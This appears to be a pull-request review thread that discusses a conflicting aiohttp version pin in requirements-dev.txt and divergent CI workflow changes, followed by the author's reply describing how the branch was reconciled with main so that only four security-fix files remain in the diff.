• requirements-dev.txt (this line) — pins aiohttp<3.14 to unbreak pytests. That is a different, contradictory strategy from fix: patch 18 of 24 CVEs in pdp-v2 image (PER-15358) #318, which deliberately keeps aiohttp 3.14 and adds a horizon/tests/conftest.py aioresponses shim precisely because (its own comment argues) pinning aiohttp down is undesirable. If both merge, the dev-pin forces 3.13.x so fix: patch 18 of 24 CVEs in pdp-v2 image (PER-15358) #318's 3.14-only shim never activates — redundant and confusing. It also means the test suite now runs against a different aiohttp than the shipped image (requirements.txt still allows 3.14.x).

Suggestion: Split the CI/test-infra changes (tests.yml + requirements-dev.txt) out of this security PR so the urgent fix can merge on its own, and consolidate the tester migration + the pytests fix into a single dedicated PR (coordinated with #318/#319) instead of three divergent copies.

[dshoen619]

Addressed by merging main into this branch (a044bb3) and reconciling to it, rather than splitting the PR — #318 has since landed on main, so the churn now nets out:

• requirements-dev.txt — dropped the aiohttp<3.14 pin. fix: patch 18 of 24 CVEs in pdp-v2 image (PER-15358) #318's horizon/tests/conftest.py aioresponses shim (now on main) is the single strategy; the suite runs against aiohttp 3.14.x, matching the shipped image. This also resolves I3 (test fidelity).
• .github/workflows/tests.yml — reconciled to main's version (which carries fix: patch 18 of 24 CVEs in pdp-v2 image (PER-15358) #318's Docker-runtime migration + the docker-scout VEX wiring). No longer a divergent copy: git diff main -- .github/workflows/tests.yml is now empty.

Net result: the PR's diff against main is now only the four security-fix files (authentication.py, enforcer/api.py, pdp.py, test_enforcer_api.py) — the urgent fix is effectively isolated as you suggested, and on squash-merge the intermediate CI commits collapse out. Full horizon/tests suite green post-merge (72 passed).